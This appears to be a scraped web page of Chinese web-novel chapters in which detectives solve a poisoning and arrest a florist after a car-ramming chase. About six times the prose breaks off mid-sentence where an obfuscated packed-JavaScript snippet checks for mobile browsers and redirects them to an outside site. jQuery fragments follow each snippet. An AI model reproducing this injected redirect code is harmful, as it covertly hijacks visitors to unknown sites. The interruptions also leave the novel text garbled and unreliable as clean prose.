RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551098|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 员下单。 之后有专门的配菜员,服务员会在出菜口等着,然后将菜用托盘端到桌上。 有分工才能提高工作效率,要是所有事情都一个人做,会手忙脚乱的。 安暖低声道:“楚队,你问话,我想去后厨看看。” 楚隽点了点头,请两名**陪着。 到现在为止,凶手不敢硬碰硬,只敢使一些暗搓搓的手段,只要她身边不要离人,就不怕有什么危险。 去了后厨,看了上酒水饮料的地方。 可乐这样的瓶装饮料,是一箱一箱放在角落里的,有好几个品种,堆了一人高。 酸梅汤是煮好的一大锅,然后要多少用一个大勺子舀出来,分装进容器里。 苦荞茶,是事先准备好的一个一个的茶包,一个茶壶里泡一包。 安暖一个一个地看过去,觉得不太可能在后厨下厨。 后厨是一个闲人免进的地方,大门几乎都是关着的,如果有陌生人进来,立刻就会被发现。 后厨的人员是非常固定的,厨师和配菜员,一共七个人。 三个厨师,两个配菜员,还有两个专门负责酒水和蔬菜搭配。 安暖问了一下,这七个人基本上固定。 因为川菜馆的生意一直不错,这里的工作人员的待遇和周边相比也要好,所以人员进来的人很少有走的。这七个人,长的已经在这里工作了三四年,短的,也有大半年了。 他们不太可能是凶手。 配酒水饮料的时候,一直是两个人,虽然不会总死死盯着对方,但直接下毒也很容易被发现的。 而且,在人员固定的情况下,不管是哪一个人动手,都会被锁定。 总共七个人,一个一个地问过去就是了。 一个一个地排除,很容易就会找到凶手。 安暖一个个地问了,确定,今天晚上,没有除了这七个人以外的人进入后厨。 下毒这件事情,这个环节不是在后厨完成的。 是服务员将茶水端出后厨,一直到进入包厢,这段路上被人乘虚而入。 第169章 割喉,用不起的东西 安暖回了前厅,楚隽还在问话。 他其实一直很温柔了,但服务员还是被吓哭了。 蒋源抹着眼泪,一抽一抽的:“我真的什么都不知道,我没有下毒。我只是服务生,也不认识你们……我怎么敢下毒……呜呜呜,我不能没有这个工作,我不能坐牢……我下半年就要结婚了……” “别哭了,没有说你是凶手。”楚隽有点暴躁,但还是要忍着:“只是问清楚情况,你仔细想想,这两种饮料,你从后厨端出来之后,是直接就送进包厢了吗?在这中间,有没有遇到什么事情?遇到什么人?” 蒋源摇了摇头:“没有,真的没有。我端着酒水,从后厨就直接去了三号包厢。中间没有停下来,也没有见过什么人。” 小姑娘眼泪汪汪的。 蒋源坚称自己没有在路上碰见什么人。 从后厨到三号包厢,这并没有多少路。 川菜馆里的人来来往往,有客人,有其他服务员,蒋源是不是路上碰见了什么人,也不是她自己说了算的。 但是得大家想了又想,也没说出什么。 毕竟大家都很忙,走廊里光线也不明亮。 有人擦肩而过是很正常的,也没有人会特别注意。 “行,今天没有什么事情了。”楚隽道:“大家散了吧。” 话音刚落,江笑愚走了进来。 他有点远,总算是到了。 江笑愚穿着便装,进来后正要说话,被楚隽一个眼神给怼了回去。 江笑愚就奇怪了,这是干嘛? 楚隽在做什么见不得人的事情吗?为什么要装作不认识他。 但是江笑愚和楚隽是多年的老搭档,非常有默契。虽然不知内情,但一个眼神就知道他是什么意思。 江笑愚立刻转身,好像根本不是进来找人一样,背着手看起了墙上挂的画儿。 安暖也看见了,她也奇怪。她虽然和江笑愚没有那么多默契,但是她有特别丰富的临场经验。知道什么场面该怎么应付。 江笑愚避开,一定有避开的道理。 楚隽这么一说,蒋源松了口气。 “行了,既然暂时没有线索,今天先这样吧。”楚隽说:“卓经理,你把酒店上班的人所有的地址和联系资料给我一份,如果有需要,明天需要你去一趟警局协助调查。” “好好好,是是是。” 卓经理也不知道应该高兴,还是不高兴。 今天算是过去了,明天呢。 真要 命。 楚隽这么一说,派出所的同志也就散了。 这家川菜馆暂时是不能营业了,发生了**案件,要扒一层皮的。 好在这个时候,吃饭的客人已经都走得差不多了,也没有新的客人来了。卓经理只打算把楚隽他们送走之后,就赶紧给大老板打电话。 工作人员今晚也算是长见识了,一听可以走了,陆陆续续就赶紧拿了包回家。 本来也快到下班时间了,又碰上**案,谁不害怕啊。 虽然楚隽叮嘱了,这事情暂时不许对外透露,但还是想赶紧回家躲起来。 众人陆陆续续地离开饭店,江笑愚也混在人群中,在混乱中,一点儿都不显眼。 楚隽和安暖也出了川菜馆,但是他们俩不着急走。 安暖坐在车里,楚隽站在外面,胳膊搭在开车的车窗上,两人好像是不舍得回家的小情侣一样说着话。 过了没一会儿,川菜馆的人走得差不多了,店里的灯也陆续地暗了。 楚隽往前看去,跟安暖耳语。 安暖道:“也不知道江副队能不能跟上人,你是怎么发现这个蒋源有问题的?” 楚隽从口袋里拿出一只圆珠笔,递给安暖。 安暖接过来一看,就是一支非常普通的圆珠笔。是川菜馆前台的,也不知道楚隽是什么时候顺出来的。 圆珠笔被放在证物袋里,楚隽也是有备而来,随时准备着。 打开证物袋,安暖突然凑过去闻了闻。 有一种淡淡的香味,是女孩子手上护手霜的味道。 蒋源是个年轻姑娘,用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551099|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 护手霜很正常,但是这味道……安暖又闻了闻:“这护手霜,是阿姨用的牌子?” 桃子味道的,这味道很好闻,但是又不甜腻。 “对。”楚隽道:“我虽然不知道这是什么牌子,但是我闻着味道是一样的。可你要知道,我妈的那些化妆品我虽然弄不明白,但价格不菲。蒋源只是在川菜馆工作的一名服务员,一个月工资是三十八块钱。我不认为她有经济能力,可以买这么贵的护手霜。” 安暖点了点头。 楚隽陪她去买过一次化妆品,买的不多,但是价格确实也不便宜。 要是常用的粉底口红也就罢了,爱美的小姑娘有时候会省吃俭用买一些高档的裙子,化妆品什么的,虽然超出了日常经济水平,也能理解,爱慕虚荣是一种很正常的心理。无关男女,无关年龄。 但一般来说,不会花高价买护手霜。除非,要么是别人送的,要么,是自己习惯用的所有东西都是高档的,自然,护手霜也是高档的。 凶手是认识他们两个人的,所以他们现在成了靶子,目标太大,不好跟过去看,免得打草惊蛇。 但两人也不走,就在车里待着。 楚隽关上了车窗。 里面能看见外面,外面看不见里面,就算有人知道车里有人,也只会觉得年轻男女在谈恋爱吧。 等了好一会儿,江笑愚回来了。 他在外面敲了敲车窗,进了后座。 前面的两人一起回头,看着江笑愚。 “你们别这么看着我。”江笑愚说:“你们不是在里面谈恋爱,被我撞破了吧?” “瞎说什么呢。”楚隽毫不犹豫的也不知丢了什么过去砸他:“说正事。” “好,说正事。”江笑愚说:“我跟着那个女人一路往前走,一直跟着她回了家,在路上没有碰见什么人。但是她确实显得有些惊慌,走的比普通行走要快,而且左右张望,有点做贼心虚的样子。” 楚隽道:“她住在哪里?” “这一点也很奇怪。”江笑愚道:“她回家的路线,不是最短最优路线。” 第170章 割喉,盯梢蹲点 “她绕路了?”楚隽立刻道:“绕去了哪里?” “也不是说绕去了哪里。”江笑愚说:“她家住在后面的巷子里有一条小路可以抄近道但是她走的是大路。我是从小路回来的计算了一下时间和距离小路比大路要节省十分钟呢。” 一切不合理的事情都会被怀疑。 江笑愚顿了顿道:“不过现在已经很晚了大路比小路安全她一个女同志走大路不走小路也是可以理解的。” “嗯。”楚隽道:“你说的有道理。现在这个时间走大路很正常。这样盯她一夜明天她总是还要出门的。如果凶手跟蒋源有联系就一定还会联系。” “是。” 楚隽又道:“如果盯她一天没有什么发现直接上门。” “是。” 盯梢蹲点这些事情他们都是做的很习惯的。 楚隽现在休假这些事情江笑愚自然会安排。 对手是个老奸巨猾心思歹毒的人昨天计划不成一定会提高警惕。他这段时间未必会和蒋源再有什么联系。 但蒋源不一样。 世上也没有那么多老奸巨猾的人。 蒋源若只是个情窦初开的小女孩就是再忍也忍不住做点什么。 安排了江笑愚 凶手认识他们俩他们在这里的目标太大了。 车驶离长乐路安暖突然觉得这条路有点熟悉。 她认路认人都是很在行的哪怕是差不多的布置只要去过一趟基本上都可以认出来。 “这条路……我们之前去落日酒吧的时候是不是经过了。” “是。”楚隽道:“离得不远。这一片是很热闹的很多时尚高端场所都喜欢建在这附近。” 鄂嘉荣挺会挑地方住的。 相比来说翟家老宅就要清静多了。 “这事情还真是以长乐路为中心啊事事都离不开。” 安暖有一种凶手就在眼皮底下但却有一层迷雾。好像伸手就能抓到却又总觉得差了点什么的感觉。 楚隽道:“我们再去一趟落日酒吧。” 那一天在落日酒吧鄂嘉荣藏着的人到底是谁? 酒吧每个包厢门口都有服务生那人走进走出就真没露个脸? 这是安暖第二次来落日酒吧酒吧一如既往昏暗旖旎。 “楚少。”门口站着的迎宾迎上来:“您来了。” “嗯。 楚隽道:“你们经理呢,叫他出来,我有事情找他。 楚隽这么一说话,就是有正事了。 楚隽来消费的时候,是个好说话,爱给钱的好顾客。但楚隽不来消费的时候,真有点叫人不安。 王经理连忙过来。 “上次我们过来,你还记得吗? 王经理连忙点头。 那怎么能忘呢? 虽然酒吧里客人打架**不是什么新鲜事情,但上一次可把他给吓着了。 一群是惹不起的二代子弟,一群是惹不起的**。 两群人因为一个女人差一点打起来了,这事情可是一年也碰不上一回的。主要是两边都太凶,他一个都得罪不起,所以不但当时胆战心惊,时候还后怕了好几天。 而且鄂嘉荣走的时候脸上有血,满脸戾气,一副好像要把见到的人都弄死的感觉。 “鄂嘉荣当时在的那个包房,是谁负责的,把他叫过来。 王经理连忙去叫人。 “还有。 “要的。 “那你想想,当天,鄂嘉荣是一个人来的,还是带了人来的。 这下王经理不用想,脱口而出道:“是一个人。 “确定。 “对,就是一个人。王经理说:“因为鄂老板每次来,都会带几个兄弟。只有这次是一个人,所以我记得特别清楚。 “然后呢,在鄂嘉荣进了包厢之后,都有些什么人找他。 “有,就是常来的几位,都是鄂嘉荣的手下。王经理说:“我不全叫得上名字,但大部分都见过。 当天负责包厢的服务生很快来了,他对当时的情况记得更熟悉。 开始他是在外面服务的,后来见情况不对,就躲在了一边。 这些楚隽不在意,他说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551100|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的躲在一边的时候,是他发现安暖失踪,已经开始找人的时候来。那时候发生了什么,他自己知道。 楚隽道:“你想想,鄂嘉荣进去之后,要了酒吗? “要了。入服务生道:“先让上了几瓶啤酒。后来,人多了之后,又要了其他的酒,还有果盘什么的。 “你一直在门口,看见进去的第一个人是谁? 服务生连忙说:“我没有一直在门口。 “嗯? 服务生解释:“鄂老板说,不用我在外面守着,要什么东西会出来说。说是想安静点,让我离远点。 ” 服务生乐的偷懒。 所以那天鄂嘉荣的包厢里,确实来了一个身份不明的人。 可惜了,这个人到底是谁呢? 酒吧门口有迎宾,进来的每一个人都会被看见。但是酒吧有熟客,有生客,只要掏钱不**,他们也没法分辨,谁有问题谁有可疑。 他们就站在门口接待的前台说话,安暖一边听楚隽问话,一边四下的打量。 难怪这个年代的案子那破,找证据实在是太难了。 二十世纪以后,天眼系统的推广普及,各地各处监控越来越多,对警察办案,真是个巨大的利好。 现在,即便是知道凶手进出过,也不好锁定。 安暖的目光,落在桌上的一个盒子上。 那是个放名片的盒子。 里面有各种名片,还有一些不是名片,是小纸条的。 安暖拿起来看。 “哦,这是酒吧附近的一些商家,都是可能用得上的,也算是互助互利。” 有饭店订餐,出租接送,酒店预定……酒吧不可能自身什么都具备,跟周围商户联合一下,才能做到无论客人有什么需求,都能第一时间满足。 安暖突然道:“这里……有送花的电话吗?” “有。”王经理找出一家:“最近的花店是长乐路上的美心花卉,他们老板经常来我这里送花的。咱们这氛围好,环境好,再喝上两杯酒,气氛一上头,可不就得送个花什么的。” 第171章 割喉,花中恶魔 花这个字,让楚隽瞬间就转过视线。 那天在这里,安暖可是收了两束花的。一束是感恩的向日葵,一束吓**的红玫瑰。 整个京市就那么几家花店,这两个人的花又可能是提前准备的,那一定是就近买的。所以花店的老板,很可能在当天来过酒吧。 名片上,花店老板的名字叫胥博宇。 楚隽道:“这个花店老板,那天晚上有没有来过花店? “有,他是来送花的。 “他进去之后,你们有人跟着吗? “没有。王经理解释说:“胥老板经常来我们酒吧送花,都是熟门熟路的。他每次来,都直接进去,不用我们的人陪着的。 楚隽和安暖对视一眼,巧了不是。 没有这么巧的事情。 他们只想到,凶手的花是从胥博宇的花店里买的,但却漏了一个关键的人。花店老板,也是可以得到那朵花的。 胥博宇作为一个常出现在酒吧的人,无论出现在哪里,都不会被人怀疑。当时的场面很乱,就算是有人看见他,也不会觉得奇怪。 “十有**就是他了。安暖道:“落日聚会我砸瓶子那天他在,他可以接触到玫瑰花,他是鄂嘉荣的人,和鄂平成自然是熟悉的。他住在长乐路,我们今天去川菜馆,他正在花店门口。 一桩桩,一件件,那么契合。 楚隽立刻道:“我去打个电话。 江笑愚那边暂时联系不上,他必须亲自过去。但是不能开自己的车,这辆车已经被胥博宇见过了。 胥博宇一定已经知道川菜馆的事情了,不一定知道蒋源已经被怀疑。但作为一个**,他一定很谨慎。不谨慎,不会连鄂嘉荣身边的人都不知道他的存在。 这一天天的,换车换得比衣服还勤。 楚隽道:“王经理,你是开车来上班的吧? “是。 “换个车。楚隽把车钥匙塞过去:“这两天你开我的。 这车已经是一手转二手转三手了。 王经理虽然不了解发生了什么,但别说楚隽只是跟他换车,就算是要直接要把这车开走,他也没有什么不愿意的。 楚隽可不少他这一辆车,不会占他便宜的。 王经理连忙掏出了自己的车钥匙:“就停在酒吧门口,黑色那辆桑塔纳,车牌号尾数八的。 楚隽点了点头,但是不着急走,而是伸出手。 王经理有点懵。 楚隽道: “你那车一直停在酒吧门口,胥博宇一定见过吧。给我换个车牌。” 王经理连忙摇头:“这,这怎么换,楚少您说笑了。” “没说笑。”楚隽正色道:“我没空管你的事情,赶紧拿来。要不然的话,我可能真的要管点闲事了。” 王经理一听连忙求饶。 “楚少,楚少刚才是我没听清,有的有的,您随我来。” 王经理快步走在前面。 酒吧是个正经地方,但酒吧里,难免有些擦边的事情。 王经理表面上也是个正经人,但私下有什么没什么,楚隽心里清楚。不过分,一点敛财的小手段,他是不会多话的。 水至清则无鱼,没有办法每件事情都中规中矩。楚隽自己也不敢说守着每一条线,有时候也要灵活变通的。守住底线,坚持原则,分辨轻重。该抓抓,该放放。 王经理将楚隽带出去找自己的车,然后非常麻溜地从后备箱里摸出个车牌号,利利索索地就给换了。 安暖在一边看着点头。 “这事情,看来是常干的。” 王经理冷汗哗啦啦的。 “不是,不是,真没干过。”王经理连声说:“就是以防万一,以防万一。” 楚隽扯了扯嘴角,并不揭穿。 上了王经理的车,回了长乐路。 这条路楚隽也来回几趟了,算挺了解的。 他找了个不显眼的地方将车停下,这个地方,正好可以看见花店。 安暖道:“你说这胥博宇,是不是就住在花店里?” 有很多铺子,老板是就住在店里的。一来方便,二来可以省钱。 胥博宇如果是鄂嘉荣手下隐藏的高手,他不缺钱。开个花店,可能纯粹是个人爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551101|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,为了打发打发时间。 “十有**。”楚隽道:“你在车里待着,我去看看。” 说着,楚隽要下车。 安暖一把拽住了他。 “你就这么去?他可是认识你的,别逼狗急跳墙,太危险了。” “放心。”楚隽道:“就算他认识我,也不会轻举妄动。而且,不到万不得已,他也不会跑。” 要跑,杀了人以后就跑了。 杀了人不但不跑,还敢给安暖送花,这人很嚣张,很张狂。 或许他觉得自己隐藏得很好,绝对不可能被发现。 “不行,这太危险了。”安暖不同意:“楚隽请你冷静一点。你现在在休假,协助调查是可以的,直接抓捕,不合适。 ” 无论什么时候,安全第一。 无论现在面前这个人是楚隽,还是别的什么人,她都是一样的态度。 个人英雄主义是不好的。 楚隽冷静了一下,正要说话,突然看见花店的门动了一下。 门竟然开了。 瞬间两个人都紧张起来。 花店的门开了一条小缝,一个人走了出来。 正是胥博宇。 他两手空空,不像是要出远门,不像是跑路。出了花店之后,也没有看见楚隽他们。 只见他往前走去,帽子压得很低,脚步轻快。 楚隽道:“安暖,你就在车里坐着,我去看看。” 胥博宇的目的,他们之前就商议了,还有一种可能。 **灭口。 今天他在川菜馆,是利用服务员蒋源下毒,蒋源和他可能有不一样的关系。 如今川菜馆下毒的事情暴露了,蒋源可能随时暴露,最好的办法是**灭口。 他能杀一个梁柔,再杀一个蒋源又有什么难的? 安暖不太放心楚隽去追胥博宇。 但是楚隽决心已定:“你放心,我只是远远跟着,我有分寸。你就在这里待着,把车门反锁。你坐到这边来,如果真遇到任何情况,不要怕撞着人,踩了油门就走,不会有人追上你。” 第172章 割喉,撞车 这毕竟是首都的市区,凶手再张狂,也没有那么嚣张。他做的事情都是悄悄的,暗中的阴险毒辣,不敢正大光明。 楚隽既然决定了,安暖也绝对不拖后腿。 “好,那你去,不用担心我。”安暖爬到驾驶室那边坐下。 钥匙插好,车窗摇起来。 只要有可疑,立刻开车跑。 这一点安暖对自己非常有信心,她可不是一个会冒险的人。 楚隽下了车,跟了上去。 两人一前一后,很快消失在夜色中。 看他们离去的方向,安暖心里盘算着,很大的可能是去找蒋源了。 要不是因为真的不懂,她特别想投入智能通讯研究中去。不能及时的联系通讯,真的太耽误事情了。 此时此刻,江笑愚就带人在江源附近蹲守,如果有手机,一个电话过去,楚隽也不至于孤军奋战。 安暖正在忧郁中,突然听见一声**,一个人冲了出来。 正是胥博宇。 在寂静的半夜,这一声枪响简直划破夜空,震耳欲聋。 安暖吓了一跳,立刻就启动了汽车。 不管是不是冲自己来的,时刻准备逃跑肯定是没错的。 万一呢,小心为上。 胥博宇冲出来之后,楚隽也追了出来。 一前一后。 不知道刚才具体发生了什么,但显然楚隽和胥博宇已经撕破脸了。 胥博宇在前面一些,他飞快冲到路边。楚隽还没追上来,他已经上了路边的一辆车。 车立刻启动了。 坏了,安暖心道。 胥博宇要是这会儿开车跑了,也不好找。这个年代可不是每个路口都有监控的。而且胥博宇如果就是**,他这一跑,就算能抓到,这一路也不知道又要害死多少人。 事情发展得很快,胥博宇的车立刻往前开去,楚隽追出来后站在路边举起了枪。 人的腿去追汽车,哪怕汽车还没有全力以赴,那也不现实。 楚隽连发三枪,都打在车身上,但这车应该也是改装过的,格外的结实。虽然火光四溅,却并没有什么致命伤。 安暖定了定神,一脚油门踩了下去。 这是落日酒吧王经理开的车,一辆看起来普普通通的桑塔纳。 但是刚才楚隽将车从酒吧开过来的时候,也检查了一下车的性能。 他说,这车也是改装过的,性能不差。 酒吧看来真是个是非之地,要不 然的话王经理也不至于这么谨慎。 安暖的车停在胥博宇离开的必经之路上。 胥博宇的车速还没有提上来现在车不是很快。 他全部精神都绷着大半都在身后追击的楚隽身上。怎么都没想到这条这个点根本就已经没有人也没有车的路上会突然冲出一辆车来。 安暖打枪不太行但是车技绝对不差姐可是能开重卡的人。 她踩下油门瞬间提速方向盘一转副驾驶一侧的车头 这一刻胥博宇简直魂飞魄散。 当然在后面的楚隽一样的魂飞魄散。 轰的一声响两辆车都是一震。 安暖往前一冲又被安全带给嘞了回来往后一靠。她咬牙不松油门将胥博宇的车一路推着往路边墙上挤去。 胥博宇就不一样了。 他是仓皇之间跳上车的根本没有时间系安全带。 第一下撞击就让他一头撞在方向盘上眼冒金星头破血流。 安暖眼看他挣扎了一下没有昏倒而是努力弯腰好像要拿什么东西又是一脚油门再放开。 车又往前一冲。 胥博宇在车里又被一震。 这时楚隽赶了上来。 楚隽二话不说冲到车边飞身上车拽开了胥博宇的车门。 胥博宇已经在连续几次的撞击中被撞得七荤八素。 楚隽一把直接拔了车钥匙一把将人给拽了下来狠狠地丢在地上。 安暖松了一口气松下油门熄火。 今晚可真刺激啊。 胥博宇被扔在地上后又挣扎了一下被楚隽一把揪住狠狠给了两拳。 这两拳毫无保留胥博宇瘫软在地毫无还手之力。 楚隽休假没有**非常顺手地从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551102|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腰上解下皮带二话不说将人手脚捆在一起这才松了口气。 巷子里又奔出几个人来。 是江笑愚和他安排的人。 楚隽顾不上和他们说明情况冲回车边安暖已经打开了车门。还没来得及解开安全带就被楚隽一把按住。 “怎么样受伤没有?” 楚隽也不知道是害怕还是激动安暖感觉他甚至有点抖。 按理说身经百战的刑警队长这只是一点小场面不应该这么紧张激动才对。 “没事儿我没受伤。”安暖一边说一边想要解开安全带。 她早有准备甚至在方向 盘上垫了一个抱枕。所以虽然撞了一下,但问题不大,就是刚才有点刺激了,有点头晕。 楚隽见安暖在自己腰上乱摸,连忙替她解开安全带,一边说:“你先别动,我检查一下。” 虽然安暖是有分寸的,但是车撞车,能把胥博宇撞的头破血流,这是很容易出事的。 “我没……”安暖话没说完,突然声音变了:“你别摸了……” 楚隽检查的有些急,伸手按在她腿上。 安暖连忙一把按住楚隽的手,死死地握住。 “我真没事儿。”安暖特别认真看着楚隽:“真的没事儿,我没受伤。不信你先放开,我下车给你看。” 这摸的也太尴尬了。 之前她倒是给董紫莺也这么检查过,但她和董紫莺都是女性。楚隽就算是未婚夫,这么捏也有点尴尬。 楚隽缓缓放开手。 安暖立刻就从车上走了下来。 “你看,我没事儿吧。” 安暖甩了甩胳膊,甩了甩手。 只是可惜了,车子前面撞的不成样子,这下是真的要赔钱给王经理了,也不知道他敢收不敢收。 楚隽这才彻底松了一口气。 “车别管。”楚隽看都不看一眼车:“人没事儿就好。” 胥博宇被按在地上,听见安暖的声音,挣扎着抬头。 “是你。”胥博宇一头一脸的血,就这么血淋淋地看着安暖:“果然是你,我看中的女人,果然够狠。” 第173章 割喉,露头就秒 楚隽一听这话,顿时火冒三丈,走过去就要揍他。 安暖连忙一把拽住楚隽胳膊。 “别激动,别激动。” 动私刑是要犯错误的,刚才为了抓人,打也就打了,那是必要手段阻止凶手逃跑。现在人已经抓到了,再打就不合适了。 虽然说江笑愚他们都是自己人,但这种事情还是注意些,谁知道有没有喜欢打小报告的。 安暖拽住楚隽,往前走了两步,走到胥博宇身边,居高临下地看他。 “胥博宇,你就是个傻蛋。”安暖说:“你以为开个花店就人间安稳,岁月静好了?以为自己是故事书里的潇洒反派,邪魅一笑就青史留名?别蠢了,你藏一辈子可能都没事儿,但露头就秒,跟蜉蝣似的,在阴暗地下活一辈子,好容易爬出来,扯着嗓子撕心裂肺喊一声,就挂了……” 蜉蝣,在地下或水里活上三四年,可成虫只有一天的寿命,几乎见光死。 江笑愚偷偷的扯了一把楚隽。 “楚队。”江笑愚低声说:“弟妹真的只有五年级文化水平吗?不可能吧,就这话,五年级的人能说得出来?” 楚隽笑了一下,不动声色的和江笑愚交换了一个东西。 胥博宇一脸狠狠的看着安暖。 安暖毫不犹豫地瞪回去。 瞪什么,谁怕谁? 胥博宇身上是有人命的,他进去了,出不来了,想报复也报复不了。 “**。”楚隽说:“人交给你带走,我们就先回家了。” 他还在休假呢,又折腾了半夜,安暖还受了惊吓,就不跟去局里了。后面的事情,江笑愚能搞定。 “好。” 不过他借王经理的车和胥博宇的车都毁了,虽然没成废铁,但已经不能开了,要找拖车来拖走。 反正住的地方离警局近,两人干脆跟了江笑愚的车回去。 进了家门,安暖就连忙说:“你今天开枪了,这事情是不是会很麻烦?” 这枪可不是合法的,带着防身也就罢了,一连开了好几枪,怕是不好交代吧。 “没事儿,我开的是**的枪。” “啊?” 安暖就不懂了。 楚隽笑了下:“当时那情形,别说我只是休假,哪怕我没干警察了也能出手。危急时刻,我这叫见义勇为,英雄无畏。我和**换了枪,因为他有开随便哪一把枪的资格,我呢……我可以开枪。开的是他的枪,就不用交代什么了。” 楚隽开了江笑愚的 枪,只要是紧急情况,没问题。 江笑愚要是开了楚隽的枪,那也无所谓,枪上面又没有写名字,推给胥博宇就行了。 楚隽只是休假,上面对他一点意见都没有,就算是真有什么怀疑,只要面上过得去,也不会刨根究底。睁一只眼,闭一只眼就没事儿了。 楚隽已经做好明天回去上班的准备了。 听起来好像有点违规,但这是最好解决的办法。 安暖一听没事儿,就放心了。 “那就好。”安暖松了一口气:“那就好,不早了,早点休息吧。” 一晃,已经是凌晨三点了。 “等一下,我有话对你说。”楚隽将人拽到沙发上坐下。 “什么事?”安暖晃了晃脑袋:“你说。” “头晕吗?”楚隽顿时紧张起来:“是不是刚才撞着了,我们现在去医院……” 安暖连忙按住楚隽的手:“没事儿,就是今天确实出了挺多事情,有点累了。” 楚隽仔细看了看安暖的状态,缓下来一些。 安暖缓不下来,她看着楚隽那样子,感觉他又要开始说教。 “哎……”安暖伸手就捂在楚隽嘴上:“你是不是又想教育我,别教育了,我知道错了。” 这种领导最会做思想教育工作,大半夜的,安暖可不想听他叨叨一个小时。 楚隽瞪着安暖,本来是有一番话要说的,但是被她捂着嘴捂的没办法。 半晌,楚隽无奈拉下安暖的手。 “好了,我不说了。”楚隽道:“但是今天我都快吓**。我知道你车技好,有胆量,可凡事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551103|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都有万一,别冒险。” “嗯嗯嗯。”安暖连连点头:“我知道。” 楚隽叹了口气。 “我是做刑警的,我的职业中,救了一些人,也送走一些人。”楚隽伸手将安暖乱了的头发给顺了顺:“我最害怕的就是身边的人遇到危险。你是我未婚妻,刚才,也是我的战友,所以没有什么事情是比你的安全更重要的。” 安暖听着,心里有些感触。 她当然也经历过这样的事情。 感同身受。 甚至于她更深刻的经历过。 因为她就是因公殉职的,虽然没能以漂浮状态参加自己的追悼会,但是她参加过别人的追悼会,想来和自己的是差不多的。 “我知道了。”安暖心里的那仅有的一点点不耐烦烟消云散。 她调整了一下坐姿,握住楚隽的手。 “今天晚上的事情,确实是我冲动了,下次我会更注意的。”安暖说:“不过这个胥博宇阴险凶狠,如果被他跑了,一定不会善罢甘休。我当时也是因为着急这个,怕他跑了之后,躲在暗处又要害我们,到时候更危险。” 确实如此,这个理由成功地说服了楚隽。 今天安暖虽然冒了险,但也消除了隐患。 看楚隽的脸色那么难看,安暖息事宁人道:“好了,不生气了。我保证……” 安暖话没说完,楚隽打断道:“我没有生你的气,我是生自己的气。我带你出去,却没有保护好你,是我没做好。” 一生自强的楚队长啊。 既然说开了,本来就没有隔阂的两人,就更没有隔阂了。 安暖也不矫情,靠在楚隽肩膀上。 安抚一下受了惊吓的男朋友。 “现在别怕了,人已经抓起来了。”楚隽整个人放松下来:“已经很晚了,去洗澡睡觉吧。有什么事情,睡好了,明天起来再说。” “好。”安暖捧着楚隽的脸,给他一个晚安吻:“晚安。” “晚安。” 只是可惜了,今天晚上,楚隽没有理由和安暖睡一个房间了。 第174章 割喉,好事传千里 虽然只睡了三个多小时,第二天安暖还是早早醒了。 坐起了发了会儿呆,只觉得身上哪儿都痛。 昨天是没有什么明显的伤,但难免有磕碰,当时感觉不明显,这一觉睡了,腰酸背痛胳膊痛的。 安暖甩了甩胳膊,爬起来洗漱。 